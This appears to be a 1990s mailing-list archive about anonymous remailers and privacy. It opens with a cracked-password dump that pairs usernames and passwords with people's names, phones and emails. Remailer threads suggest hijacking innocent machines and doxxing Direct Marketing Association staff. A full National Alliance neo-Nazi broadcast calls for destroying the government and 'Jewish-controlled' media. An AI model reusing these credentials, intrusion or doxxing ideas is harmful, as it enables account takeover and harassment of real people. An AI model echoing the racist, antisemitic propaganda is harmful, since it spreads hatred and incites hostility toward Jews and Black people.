Wolf,,609-983-5129, [etc_passwd.fixed /bin/tcsh] Guessed amnat1 [amnat1 [PARROT]] Lenn Feldmann,,914-351-5051, [etc_passwd.fixed /bin/tcsh] Guessed amsquare [amsquare [MOOSEHEA]] Doug Petersen,,508-376-1248, [etc_passwd.fixed /bin/tcsh] Guessed answers [answers [CHELSEY]] Dennis Estelle,,908-920-5917, [etc_passwd.fixed /bin/tcsh] Guessed freeads [freeads [BATMAN]] Bill Guting,,,awt(a)cwnet.com [etc_passwd.fixed /bin/tcsh] Guessed college [college [KELLY]] Pam Graves,,415-668-9583, [etc_passwd.fixed /bin/tcsh] Guessed powerad [powerad [DENTAL]] Juanita Boivin,,,urwlthybiz(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed newbuss [newbuss [CHELSEY]] Dennis Estelle,Pioneer Marketing,908-920-5917, [etc_passwd.fixed /bin/tcsh] Guessed classads [classads [WINTER]] Robert Pearsall,,, [etc_passwd.fixed /bin/tcsh] Guessed zee [zee [SYLVESTE]] Thomas Cox,,954-925-8132,dodger3(a)laker.net [etc_passwd.fixed /bin/tcsh] Guessed disease [disease [MOOSEHEA]] Doug Peterson,,508-376-1248, [etc_passwd.fixed /bin/tcsh] Guessed steveplus [steveplus [GIANTS]] Barry Disney,,, [etc_passwd.fixed /bin/tcsh] Guessed matco [matco [PRAISE]] John Matthews,,972-226-0491, [etc_passwd.fixed /bin/tcsh] Guessed legalwon [legalwon [CRITTER]] Peter Brock,Developmental Learning Concepts,301-949-4422, [etc_passwd.fixed /bin/tcsh] Guessed siteone [siteone [CIRCLE]] Richard Scott,Richard Scott + Assoc.,334-928-8406, [etc_passwd.fixed /bin/tcsh] Guessed sandman [sandman [BLASTER]] Ed Sand,,406-684-5759, [etc_passwd.fixed /bin/tcsh] Guessed disneygroup [disneygroup [JOSHUA]] Barry Disney,Network Marketing Group Inc.,513-961-6022, [etc_passwd.fixed /bin/tcsh] Guessed sevenmil [sevenmil [DOROTHY]] Eric Ralls,New Horizons,602-547-5911, [etc_passwd.fixed /bin/tcsh] Guessed adman [adman [CRYSTAL]] Benjamin Ice,,813-446-5919, [etc_passwd.fixed /bin/tcsh] Guessed solar1 [solar1 [SHOPPING]] Gary Corbitt,,310-338-1019, [etc_passwd.fixed /bin/tcsh] Guessed b6024 [b6024 [PATIENCE]] Tom Benedict,Tom Benedict,813-528-1548, [etc_passwd.fixed /bin/tcsh] Guessed online [online [LOVER]] Joe Cola,Bank Card Systems,800-563-7832, [etc_passwd.fixed /bin/tcsh] Guessed invest [invest [CRYSTAL]] Benjamin Ice,,,jammerjoe(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed gocell [gocell [AMANDA]] Lawrence Falco,L & S Marketing,516-821-1125, [etc_passwd.fixed /bin/tcsh] Guessed donow [donow [TURNAROU]] Bradley Near,,602-954-1809, [etc_passwd.fixed /bin/tcsh] Guessed laptop [laptop [MUSIC]] Thomas Cox,,954-925-8132, [etc_passwd.fixed /bin/tcsh] Guessed mktgconcepts [mktgconcepts [MARTHA]] Robert Hutton,Marketing Concepts,212-333-3131,rhutton(a)idt.net [etc_passwd.fixed /bin/tcsh] Guessed wholesaleprices [wholesaleprices [MARIAM]] Mohammad Hanif,,972-669-2223,compumart(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed removeme [removeme [ERASER]] Dave Mann,,, [etc_passwd.fixed /bin/tcsh] Guessed allnatural [allnatural [CHELSEY]] Dennis Estelle,,908-920-9054, [etc_passwd.fixed /bin/tcsh] Guessed welltrend [welltrend [BUMBLE]] Louis Salatto,,203-483-6630, [etc_passwd.fixed /bin/tcsh] Guessed mquest [mquest [OOPS]] Phil Brown,Merchant Quest,541-742-6206,pbrown(a)pdx.oneworld.com [etc_passwd.fixed /bin/tcsh] Guessed health [health [JESUS]] Randy Haugen,Cypress Marketing Inc,303-763-5787, [etc_passwd.fixed /bin/tcsh] Guessed rcenterpi [rcenterpi [HALFWAY]] Ron Mayfield,,417-445-2602 or 417-445-6797,roncan(a)juno.com [etc_passwd.fixed /bin/tcsh] Guessed tvlsecrets [tvlsecrets [CAVIAR]] Disney,,, [etc_passwd.fixed /bin/tcsh] Guessed protection [protection [MOOSEHEA]] Doug Peterson,,, [etc_passwd.fixed /bin/tcsh] Guessed robtym [robtym [MAKEMYDA]] Tom Cox,,954-925-8132,dodger3(a)laker.net [etc_passwd.fixed /bin/tcsh] Guessed networkes [networkes [DOROTHY]] Eric Ralls,,602-547-5911, [etc_passwd.fixed /bin/tcsh] Guessed helpme [helpme [CORKIE]] Doug Sutton,905-567-1874,, [etc_passwd.fixed /bin/tcsh] Guessed profile [profile [METHOD]] Joe Kuhn,908-220-1110,qwikmail(a)raven.cybercomm.net, [etc_passwd.fixed /bin/tcsh] Guessed adna1 [adna1 [MAYE]] Adna Dalessandro,,216 779-1136, [etc_passwd.fixed /bin/tcsh] Guessed response [response [STINKY]] Steve Brown,Business Solutions South,601-832-5031, [etc_passwd.fixed /bin/tcsh] Guessed anyahu [anyahu [ANKLES]] Doug Sutton,Winning Edge Systems,905-567-1874, [etc_passwd.fixed /bin/tcsh] Guessed secret1 [secret1 [ALEXANDR]] John (see secret),see secret,see secret,see secret [etc_passwd.fixed /bin/tcsh] Guessed ezwork [ezwork [ACCESS]] Glenda Smith,,216-291-4589,gs72895(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed herb [herb [TINSEL]] Bob Keegan,,215-493-0706, [etc_passwd.fixed /bin/tcsh] Guessed cash [cash [SYLVESTE]] Thomas Cox,,954-925-8132,dodger3(a)laker.net [etc_passwd.fixed /bin/tcsh] Guessed choice3 [choice3 [PROFIT]] Lenn Feldmann,,914-351-5051, [etc_passwd.fixed /bin/tcsh] Guessed yucan2 [yucan2 [OLIVER]] ,,, [etc_passwd.fixed /bin/tcsh] Guessed rainbow [rainbow [WILBUR]] Patrice Lowe,,219-397-6615, [etc_passwd.fixed /bin/tcsh] Guessed choice4 [choice4 [PROFIT]] Lenn Feldmann,,914-351-5051, [etc_passwd.fixed /bin/tcsh] Guessed jeps318 [jeps318 [MYCROFT]] John Sallinger,Sallinger Assoc.,412-327-8591, [etc_passwd.fixed /bin/tcsh] Guessed mortgages [mortgages [MIDAS]] Bill Panchuck,,810-674-0444, [etc_passwd.fixed /bin/tcsh] Guessed blizzard97 [blizzard97 [BETSY]] David Woldt,,605-886-3654,turbo41(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed mecca [mecca [BACKWARD]] Thomas Cox resell,,954-925-8132, [etc_passwd.fixed /bin/tcsh] Guessed teezer [teezer [TEASER]] Dan Herzner,,914-769-6700, [etc_passwd.fixed /bin/tcsh] Guessed help4u [help4u [MINERAL]] Dr. Joy Rausonussen,,, [etc_passwd.fixed /bin/tcsh] Guessed free800 [free800 [JOSHUA]] Barry Disney,Network Marketing Group Inc.,513-961-6022, [etc_passwd.fixed /bin/tcsh] Guessed bdbem [bdbem [ANNIE]] Louis Salatto,,203-483-8634, [etc_passwd.fixed /bin/tcsh] Guessed tpn1996 [tpn1996 [TALONS]] Richard Mathiason,,707-642-8632, [etc_passwd.fixed /bin/tcsh] Guessed rdlpinfo [rdlpinfo [PARKER]] Peter Vaglica,,,tlpc(a)gte.net [etc_passwd.fixed /bin/tcsh] Guessed healthwealth [healthwealth [JESUS]] Diane Goselin,,508-791-6828, [etc_passwd.fixed /bin/tcsh] Guessed eleven [eleven [DOROTHY]] Eric Ralls,,602-547-5911, [etc_passwd.fixed /bin/tcsh] Guessed infosales1 [infosales1 [BEAR]] Steve Crockett,,904-857-7717,infosales1(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed secrets [secrets [PICKUP]] Lillian & John Eagan,,908-431-4366, [etc_passwd.fixed /bin/tcsh] Guessed marketinfo [marketinfo [PARKER]] Peter Vaglica,,,tlpc(a)gte.net [etc_passwd.fixed /bin/tcsh] Guessed kangaroo [kangaroo [LYDIA]] Matthew Silverman,,508-369-4560, [etc_passwd.fixed /bin/tcsh] Guessed wealth [wealth [KELLY]] Chris Molinari,Adler Publishing,408-353-3141, [etc_passwd.fixed /bin/tcsh] Guessed difaznet [difaznet [GORDO]] Ray DiFazio,,415-668-5161, [etc_passwd.fixed /bin/tcsh] Guessed bizopp [bizopp [ALBERTA]] Ted Benedict,,, [etc_passwd.fixed /bin/tcsh] Guessed offshore1 [offshore1 [JAMAICA]] Denise Cook,Marketing Ect Trust,602-979-4844,dicook(a)sisna.com [etc_passwd.fixed /bin/tcsh] Guessed diet30 [diet30 [CHELSEY]] Dennis Estelle,Pioneer Marketing,908-920-5917, [etc_passwd.fixed /bin/tcsh] Guessed sales [sales [CARRIER]] Brad Konia,,610-437-1000,brad(a)fastcolor.com [etc_passwd.fixed /bin/tcsh] Guessed blessdlife [blessdlife [SUNSHINE]] Prasit K. Frazee,Lifetronix,704-536-3779,blessdlife(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed jeps317 [jeps317 [MYCROFT]] John Sallinger,Sallinger Assoc.,412-327-8591, [etc_passwd.fixed /bin/tcsh]

1 0

Re: Fixing the "From:" Problem
by Toto 17 Dec '03

17 Dec '03

Anonymous wrote: > > Previously "The Fly on the Wall" suggested that duplicated "From:" > lines were somehow caused by cyberpass.net because they do not occur > on algebra.com. This was an error. They do seem to occur on both > lists. I believe that the errors come from cyberpass.net, and only show up on the messages that algebra.com receives from there and forwards. > > Many of the messages I receive have incorrect "From:" headers. Or, > > more precisely, they have _two_ such "From:" header lines. My > > sorting software mislabels the senders, and, in some cases, dumps > > messages from readers I would like to read into my trash folder. This is obviously the result of a conspiracy against yourself. I would suggest that you send letters to the list exposing yourself as a Nazi censor and a schill of your inner Sammeer. > Messages in which Hal replies to another reader have a very high > incidence of double "From:" lines. > > Blanc's messages also seem to have double "From:" lines quite > frequently which suggests there is a common mode failure here. Are > Blanc and Hal using the same mail software by any chance? I can't decide which color crayon to use to connect them on my chart. Red, for secret lovers, or black, for evil twins? > The Fly on the Wall <swat!> -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html

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Re: The Problem with Remailers
by Toto 17 Dec '03

17 Dec '03

Kent Crispin wrote: > > > Any ideas on what can be done to extend the life of the remailer network? > > 1) Be sure that the final mailer is in a country different than the > target address, a country that cannot be reached legally. > > 2) Randomly take over innocent machines (not part of the remailer > network) for short periods of time to be the final mailer. The > innocent will be able to honestly claim they were victimized as > well. Or steal a page from the spammers' books, and have the messages sent from throwaway accounts set up at various ISP's. -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html

1 0

Perry's Remailer
by Toto 17 Dec '03

17 Dec '03

Anonymous wrote: > > John Perry is shutting down because somebody is using his remailer to > send unkind messages to the FBI. (BTW, probably the FBI is sending > mean messages to the FBI.) > > Why would not one of these solutions work? > 1. Accept and send PGP encrypted messages only. > 2. Keep a list of addresses of people who do not wish to receive mail > from the remailers. Probably because the stopping of alleged threatening letters is not the issue actually involved, here. -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html

1 0

Remailer problem solution?
by Greg Broiles 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- At 01:56 PM 3/22/97 -0800, nobody(a)hidden.net wrote: >John Perry is shutting down because somebody is using his remailer to >send unkind messages to the FBI. (BTW, probably the FBI is sending >mean messages to the FBI.) Perhaps it's their colleagues at another TLA. :) >Why would not one of these solutions work? > >1. Accept and send PGP encrypted messages only. This "works" in that it reduces the number of people subjected to messages they don't want to see, but it also makes it more difficult (or impossible) to use remailers for tasks like: sending info to crypto-illiterate reporters/politicians/whatever ("whistleblowing") sending messages to newsgroups and mailing lists which don't have a shared private key >2. Keep a list of addresses of people who do not wish to receive mail >from the remailers. This is done already, but the group of people who don't want to recieve mail from remailers but haven't signed up yet (because they don't know about remailers) is orders of magnitude bigger than people who've signed up. Mostly people get on the block list(s) because they've already been mailed things they didn't want to see; by the time they learn about blocking, it's too late. Also, it's difficult to apply this solution to many remailers - should all remailers block an address because one remailer operator claims to have received a request? Or should each operator act alone, which means that one anonymity-hostile end user must send multiple block requests? -----BEGIN PGP SIGNATURE----- Version: 4.5 iQEVAgUBMzS0cv37pMWUJFlhAQHf6wf+PXP/Q4C1YAAue2uqLtYJo7lIi3l2huQd dzsNIYt77tq9ThacUwyhymOD44S7kKYB95cU44NBnLnD4Unv16jH+9AU4PWeHrhJ lqWOhYI02lJEl3NLD4c5MR0FIRqcFj2jny2FNBpmMou/v8Mh/vJLQTcPrQP9p9Y9 4yOrbQuzafRzgrmcyLbaSzEgP+uljFP6LeP6RTfYCR4+R97xxr8veSuugYVcEX/o Z2w7w+OiMrUtFbE+kDFHJVm/wHW1w+WxDfM//BZUPLOqTI1v62CIzWoNn7dOCeX6 GN2yn8bk17YE2Nz15AIXiD55yt96cOK6L+WvktwNQXk3rcUfbLUUsw== =N7e1 -----END PGP SIGNATURE----- -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles(a)netbox.com | http://www.io.com/~gbroiles | Export jobs, not crypto. |

3 3

ADV Weekly Transcripts
by vincent＠dreamon.com 17 Dec '03

17 Dec '03

--------------------------------------------------------------- American Dissident Voices is a world wide radio program which deals with topics of interest that concern people of European descent. We hope that these weekly articles will offer the reader an opposing viewpoint to the major news media. If you would like to unsubscribe to this service, please e-mail vincent(a)dreamon.com. For more information visit the National Alliance web site at http://www.natall.com. For patriotic books, tapes and videos, visit National Vanguard Books Online Catalog at http://www.natvan.com/cgi-bin/nvbctlg.txt?url=www.natall.com -------------------------------------------- American Dissident Voices Online Radio http://www.natall.com/radio/radio.html The Big Picture A Bare-Bones Outline of Our Present Predicament by Dr. William Pierce Chairman, National Alliance What's the most important thing in your life? Is it making as much money as possible? Is it getting along with other people and being popular? Is it security? Is it happiness? Well, of course, most of us would like to have financial security, and we would like to be happy. But for some of us there's something more important than security and personal happiness. I'm addressing now the more serious-minded listeners, the ones who are capable of understanding things like duty and responsibility. Duty and responsibility: those are almost bad words these days -- definitely not fashionable. We've been conditioned by the media to be suspicious of people who talk about such things. This is the feel-good generation, the MTV generation. But really, we know that more important than feeling good is doing good, doing right. The most important thing for us is using our lives in the right way. The most important thing is having the right purpose and serving that purpose effectively. We need to look beyond our bank accounts and our personal hobbies and our immediate circle of friends in order to find purpose. We need to see ourselves set in a larger context. We need to understand how our own lives are important as a part of the world around us: not just the world of here and now, but also the world of the future and the world of the past. We need to see our own lives as a part of the historical process. When we do this, when we see ourselves in context, then we begin to understand our responsibility, our purpose. We begin to understand what's really important in our lives. We see that we have a responsibility to the people who came before us and made it possible for us to live, the people whose genius and work and sacrifice built our world for us, built our civilization for us, gave us our culture. We have a responsibility to ensure that their toil and sacrifice were not in vain. And we have a responsibility to the people who will come after us, a responsibility to all the future generations of our people. We must ensure that what we have inherited from our ancestors will be preserved and enhanced and strengthened by us and passed on to those who will follow us. This is the most important thing in our lives: understanding this purpose, accepting this responsibility. At least, it is the most important thing for those of us who are serious about our lives, those of us who have not become corrupted and trivialized by watching too much MTV. So we need to be concerned about what's happening to our world today. We need to become involved in it. We need to accept responsibility for it. That's the whole reason for Free Speech and American Dissident Voices. It's to help with understanding what's happening, and it's to provide a little push, a little inspiration, to get you involved. In past broadcasts I've talked about many specific aspects of what we need to be concerned about. I've talked about specific threats to our world. I've talked about the breakdown of our system of justice, and I've given you specific examples: the acquittal of O.J. Simpson after he murdered two people, and the $43 million verdict against Bernard Goetz for defending himself against Black muggers. I've talked about the lies and the hypocrisy of the government in Washington. I've talked about the government's ruinous trade policy. I've talked about the Jewish monopoly control of the news and entertainment media in America and the destructive way in which that control is used. I've talked to you about the movement to get rid of our Bill of Rights, the movement to scrap the First and Second Amendments, the movement to make it illegal for us to write or say anything which is not Politically Correct, and to take away our means to defend our rights against those who want to abolish them. And all of these things are important. We must look at details, we must look at specifics, if we are to understand what to do. Today, though, I'd like to look at the big picture. I want to talk to you about what has happened to us, and why, and what we must do about it. First, let's back off a bit, so that we can see the picture more clearly. Three hundred years ago, when nearly all of our ancestors were still in Europe, we had a pretty good grip on things. We were involved in the historical process. We had a feeling for our past and a sense of responsibility to the future. No one was telling us that it was wicked or racist or anti-Semitic or hateful to want to ensure a better world for our descendants. That was because we still had our wits about us, more or less, and we did not let anyone into our midst whose aim was to weaken us and destroy us. We had no MTV. We were all Whites; we were all Europeans. We had no slaves, no non-Whites among us. We kept the Jews in their ghettos and very tightly circumscribed their activities. It was just us. We had common roots and a common concern for the future. Now, I'm oversimplifying things a bit to make my point, of course. Europeans did have disagreements among themselves. We did have wars from time to time. We did mistreat each other. But it was just us. It was all in the family. We had no aliens among us exercising influence over us and hating us and planning our destruction. Our books and our journals were written by us and were published by us. There was no Jew-controlled television. Our young people were taught in our schools and our universities by us, not by clever aliens attempting to corrupt and subvert. And among ourselves -- just us -- we were building a great civilization. In the 18th and 19th centuries we created a world of science and music and literature and painting which greatly surpassed anything which had come before. And we spread our dominion over the earth. Wherever we went we conquered: in the Middle East and India, in the Far East -- and in the West, in the New World. We were proud and self-confident. We knew who we were. We were White. We were European. We did not mix with those who were not European. When we needed land for our people, we took it. If anyone raised his hand against us, we struck him down. And thus we built America. And it was a strong and good and progressive nation, a White nation. We did make mistakes during the past 300 years, though. In America we brought in Black slaves to work the land in the South, and we brought in Chinese coolies to work as laborers in the West. We kept ourselves separate from these non-White slaves and servants, but bringing them into our living space laid the groundwork for our present disaster. In France and elsewhere in Europe, we let ourselves be hypnotized by false propaganda about equality. We are all equal, all the same, this propaganda said, and we all should mix and be brothers, and no man should have more than another. So we let the Jews out of their ghettoes and we let them become citizens of European countries. They repaid us by corrupting our music and our literature and by subverting every European institution. One of them, a Jew named Marx, launched Communism, which eventually enslaved half of our world and murdered tens of millions of our people, often the best elements among our people. The brightest and most energetic and most successful of our people were butchered by the tens of millions by the Communists in Europe. In America they were not able to succeed with Communism, but they infiltrated and took over our mass media of news and entertainment: our films, radio, television, book publishing, and major newspapers. And with these media they pushed the false propaganda of liberalism: We are all equal, they said, Black and White and Chinaman and Jew, all the same -- except that you Whites have the stain of guilt on you for having thought yourselves better than the rest of us, and now you must make it up to us for having mistreated us in the past. And with this propaganda they wormed their way into our educational establishment, into our government, into all of our institutions. And because they controlled so many of the media, there was hardly a voice of opposition, hardly a voice of sanity and reason to be heard in opposition to their propaganda, and they were able to corrupt the minds of millions of young Americans. They were able to instill feelings of racial guilt and racial self-hatred into two generations of young White people. And with their growing influence they were able to open America's borders to the non-White world, and they were able to force racial integration on our schools, our work places, our neighborhoods. They replaced our European music with jazz and rock and rap. They introduced what they fondly call "modernism" into art and literature, replacing our culture with a Judaized trash culture. They overturned the laws against miscegenation. They persuaded the leaders of the Christian churches to join their revolution against the White world. They turned our government into a cesspool, occupied by people like Bill and Hillary Clinton. And so here we are today, at the end of the 20th century, facing the prospect of becoming a minority in our own country before the middle of the next century, and so paralyzed by fear and guilt and self-hatred that while some of us look forward eagerly to our self-extinction most of the rest of us refuse to do anything to avert it. Quite a mess! Now, I have greatly oversimplified the picture, just so that we could grasp the most important features. I have not mentioned the minority of Jews who never engaged in or supported the subversive activities of the majority of Jews. I have not talked about all of the criminals among our own people, besides the Clintons, who have collaborated with the Jews. Those are details which are important, and I have discussed those details in other broadcasts. But right now we want to grasp just the coarsest features of our predicament. We want to understand, in a very rough simple way, what our situation is and what we must do about it. I'll spell out these rough and simple features: First, America has been transformed from a White country before the Second World War, a White country in which the 10% non-White portion of the population was strictly segregated from the White population, into a multiracial morass today. The non-White population in America is increasing so rapidly that it will constitute a majority, and we will be a minority, within the next 50 years. Second, America's government is deliberately and forcefully implementing this racial transformation. The government, an institution which our ancestors created to be the guardian of our welfare, has become the deadliest enemy of our people. It is deliberate government policy which is responsible for the flood of non-White immigrants, both legal and illegal, now pouring across our borders. It is deliberate government policy which feeds and houses and encourages the breeding of the huge and growing non-White underclass in our cities. It is deliberate government policy which mixes the non-White population with the White population and encourages miscegenation. Third, most of the White population in America is collaborating in its own destruction, partly from ignorance, partly from fear, but mostly from a blind, animalistic urge to conform to perceived norms of public opinion. Fourth, the mass media of news and entertainment provide the guiding spirit for White America's rush to self-destruction, and those media are largely in the hands of the Jewish minority. The controlled media, with virtual unanimity, push the party line of egalitarianism and multiculturalism and racial mixing. The controlled media, with virtual unanimity, push the party line of feminism and of toleration for homosexuality and of White "guilt" for supposed historic wrongs to non-Whites. The media, by influencing the attitudes and opinions of most voters, wield the power which determines which politicians get elected to public office in America. The media -- especially the media of film and television -- have done more than any other institution to degrade the cultural and moral level of our people. And the people who wield the media as a weapon against us are Jews. That's our situation today, in very rough outline. And, of course, I've left out a thousand details and refinements and qualifications. I've not talked about the destructive, anti-White doctrines of many of the Christian churches. I've not mentioned the slavishly pro-Jewish and anti-White policies of many powerful White politicians, such as Edward Kennedy, Bill Clinton, and Robert Dole. I've ignored economics altogether. I've not said anything about the destructive effects of the government's trade policy. I've not explored the Jews' motivation for what they're doing. I've just pointed out four basic facts: first, America is being transformed very rapidly from a White country to a non-White country; second, the government is deliberately implementing this transformation; third, most of the White population is not resisting the transformation; and fourth, the mass media, controlled by the Jews, are providing the driving force for it all. What this means to those of us who feel some sense of responsibility to our ancestors and to our posterity is that our people are being faced with the greatest threat ever, with the threat of extinction, and that we must do whatever we can to avert this threat. And what we must do -- again in the very roughest and crudest terms -- is, first, destroy or neutralize the two hostile forces which are leading us to our destruction namely, the government and the Jew-controlled media; and second, start our badly corrupted and misled people back on the road to duty and responsibility. I'm leaving out many important details, of course. I haven't even mentioned how we are to deal with the Blacks in our midst, for example. But that is a detail we know that we can handle, once we have taken care of the government and the Jewish media and begun curing our own people of their present sickness. So, we know roughly what our problem is and roughly what we must do about it. Now we must get back to the details, because that's the only way we can make plans and execute them. But seeing the big picture is important in making plans, because it sets the boundaries for us. Once we understand the urgency of our situation, once we understand the finality of the fate designed for us by our enemies, we know that we must either conquer or die. If we do not defeat those who intend to destroy us, and defeat them soon, then our people will perish forever. What this means for us is that no matter how small our likelihood for success, we must act. No matter how desperate the gamble, we must take it. We must not fail to act. We must not do nothing, simply because no plan seems certain of success. No loss as a consequence of acting can be greater than the loss from failing to act. If we are responsible adults, if we are honorable adults, then we must act. There is no acceptable excuse for not acting -- not family obligations, not personal security, not career considerations -- no excuse. If we do not act, then everything will be lost, every reason for living, every reason for which our ancestors lived and worked and sacrificed and suffered and died. The deadly filth of Jewish liberalism will spread over our entire race and destroy it -- irrevocably, forever. I promised you details, and now I'm running out of time. But here's one detail: no matter what else we do, our first move must be to alert all of our people to the situation I have outlined today. That's the first step: education. Education alone is not enough, of course, but it is necessary. Many people will not want to be educated. They will be afraid to listen to anything which is not Politically Correct. They will hate us when we try to educate them. They will go back to their MTV. But for every fool filled with hate and fear who will not listen, we will find a person who already has an understanding of the things I have said today and who only needs to hear us say them in order to gain enough confidence to know that his understanding is correct. And we will find other people who have not yet achieved understanding but whose hearts and minds are open, and who can accept the truth when it is presented to them. And so that is our immediate task: yours as well as mine. We must reach out to our people. We must alert them. We must educate them. We must encourage them. We must inspire them. And here's a beautiful, wonderful thing: when you reach out to other people to encourage them and inspire them, you yourself will be encouraged and inspired. When you find out how many other people there are who share our concerns, our feelings, our values, our sense of responsibility, you cannot help but be encouraged. Even the hatred that you encounter from some people -- especially from people in the controlled media -- will be encouraging. For you will understand that they would not hate us so much if they did not fear us. And the reason that they fear us is that deep inside them they know that what we say is true. So let's get out there -- all of us -- and start looking for encouragement! ~ For more information or to find out how you can join the leading patriotic organization in the world today, visit the National Alliance web site and read "What is the National Alliance" at http://www.natvan.com/WHAT/WHATDIR.HTML.

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Re: Remailer problem solu
by harka＠nycmetro.com 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- IMHO the remailer network needs to be extended so as to place the risk on (too) many shoulders, thereby reducing it considerably. The winsock remailer has an "shared" option included, meaning every regular e-mail account could serve as a remailer (or at least as middleman). If such an option could be included in e-mail programs, the danger of remailers "dropping like flies left and right" would cease. The accounts could be published on a web page together with the instructions a la Raph's remailer list and the country, where they are located in. Therefore they could even serve as exit point, for the laws of the receiver don't apply there. The only problem I see with shared accounts though is a flood attack, rendering it unusable for the account holder. So probably middleman or PGP-encrypted-only are the most reasonable options. Why not extending the source of Private Idaho to include remailer capabilities, for example? Ciao Harka /*************************************************************/ /* This user supports FREE SPEECH ONLINE ...more info at */ /* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */ /* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */ /* PGP public key available upon request. [KeyID: 04174301] */ /* F-print: FD E4 F8 6D C1 6A 44 F5 28 9C 40 6E B8 94 78 E8 */ /*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/ /* May there be peace in this world, may all anger dissolve */ /* and may all living beings find the way to happiness... */ /*************************************************************/ ___ Blue Wave/386 v2.30 [NR] -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQEVAgUBMzTiFDltEBIEF0MBAQHeGgf/Qo6LkT82Fdxu8Jt8oWzSlnJUQTZ1uyMk rLZHi/e2Ha2JMUiS5Uuil+h7GTBIT8FRzeAZmvHDdkRnUTuFF6+WrG373a27f+FA 9TfKwMprz/o7x0iFZc3tL+eEzsuCL3ZCFPhXILVWNbuhFeGMxbgJ0rb/qdXEvGkm 6SF+BKj3ayj9pdLMOaJnue3YG0MEQr0QFVodeuUCTjmexv9WuwgI5D3C9PbXNdwa t4iTU5fH3czuvMvPsTCSnQLfVxNESh2Tv6zzzxkEcmR7iKRTUX+N5gCWYffIecQK 8D5o7Ap8SAG+Fh+0Gb6bAyrgB1Xdajmjp1RsbhsA2CGlvFIv5lK8sg== =teXC -----END PGP SIGNATURE----- If encryption is outlawed, only outlaws will have encryption...

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Re: "why privacy" revisit
by Jonathan Gaw 17 Dec '03

17 Dec '03

the responses i've gotten have been all too theoretical and, i believe, too hypothetical and removed for most people. when asked if they value their privacy, the public overwhelmingly agrees. when asked what their privacy means to them, i don't think they have a solid answer. i get the sense that most people don't see the hazards of corporations analyzing their buying patterns, voter registration records and medical records. i don't think it has come home to most people. i don't disagree with the people on the list. i am just having a hard time translating it to the public in concrete terms. j. > >At 09:50 PM 3/22/97 -0500, you wrote: >>-----BEGIN PGP SIGNED MESSAGE----- >> >> -=> Quoting In:jonathan@gaw.net to Harka <=- >> >> In> when i talk to people like the Direct Marketer's Assn., they honestly >> In> don't understand what the fuss is about. Their attitude is, quite >> In> literally, "What's the harm being done here?" >> >> In> what do you think the community interested in privacy protection can >> In> do to best illustrate to the general public the "harm" in the >> In> collection of personal information? >> >>Information warfare. Collect information about DMA people, using >>their own weapons against them. Then post it somewhere on the >>Internet via remailers and cc themselves, Reuters and the New York >>Times... >> >>Ciao >> >>Harka >>___ Blue Wave/386 v2.30 [NR] >> >>-----BEGIN PGP SIGNATURE----- >>Version: 2.6.2 >> >>iQEVAgUBMzSWbzltEBIEF0MBAQFOzQf/SmUYerwG8oIDVe+PucyAybBAYpMBl+JT >>eDl21Bs0jVa2+UXm8zDKQVDIkz004bTgpyX6vzockZ8cTUkW1UJJucjUfAXln1yB >>HmdR9Go5mdurGbXf4QSN47nbfPc5V5sq8h7Ok2frFRqKLBejPSuEdP2pZo0OUPQD >>bf0lE3l5lgTKlYqOzHt7NqHNAlcx3l0FOpflF+RR5DbLllBrIP7XYodMLMv+NR3T >>V0oEk0woReL4+/O8iQ1oZuQ3MHNXkwCqR8w2wXnlou9ysfS58nTXgoNyFYKouGlN >>Kc1bV2/G6mrG8PziTd3MsTL4TjdcmkdphZWVouo1LrEuhd3J5B4dBw== >>=rbtn >>-----END PGP SIGNATURE----- >> >> >>If encryption is outlawed, only outlaws will have encryption... >> >> >> ****************************************************** Jonathan Gaw The Star Tribune Minneapolis, Minnesota jonathan(a)gaw.net *********Wasting Digital Bandwidth Since 1986*********

2 1

Re: Remailers & Linux Dis
by harka＠nycmetro.com 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- -=> Quoting In:alan@ctrl-alt-del.com to Harka <=- In> I think that the actual thing preventing ISPs from setting up In> remailers is more of a liability issue, as opposed to a In> technical one. Absolutely. When I asked my ISP to implement a remailer in the Linux sub system, they said "You mean, OUR Linux??" "NO WAY!!". People are simply afraid of possible liability suits. Therefore remailers should rather be viewed as a problem solved by individuals (not ISP's) and lot's of them... Ciao Harka ___ Blue Wave/386 v2.30 [NR] -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQEVAgUBMzT+rDltEBIEF0MBAQGQegf+IuKRoNx98Vss2GkcIVHY7Nfgo4xQVozy XO15FOj0G5BiyoaONxjGJonHPom5fhXbgY74quZOmSD5UKl+ISbpcKEBapyBx12k KQYBVfV0S5dcXvjAUxVZezgz9ebuvO4E9ZJrVrG+8rAdCeOVttXwVGCsCYiEGTz+ 2pUxTpbweqUixevSNHrFakYwmeDcHnyrTCu/KjdecHQfNBZMLmu6O6ooLmcoei6M XZLTeJ5eSEEL3d9WWTrTIpuc2HzuGU1lfp+2+aqEs5K5mFyUH6xXEyt+G46ZXTjg WYyPGwgxxPZJ1q2wS3ON8o+98i/o/L/LDqqrFwmdvY9OOI8hiTTHNA== =SHPF -----END PGP SIGNATURE----- If encryption is outlawed, only outlaws will have encryption...

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Re: "why privacy" revisit
by harka＠nycmetro.com 17 Dec '03

17 Dec '03

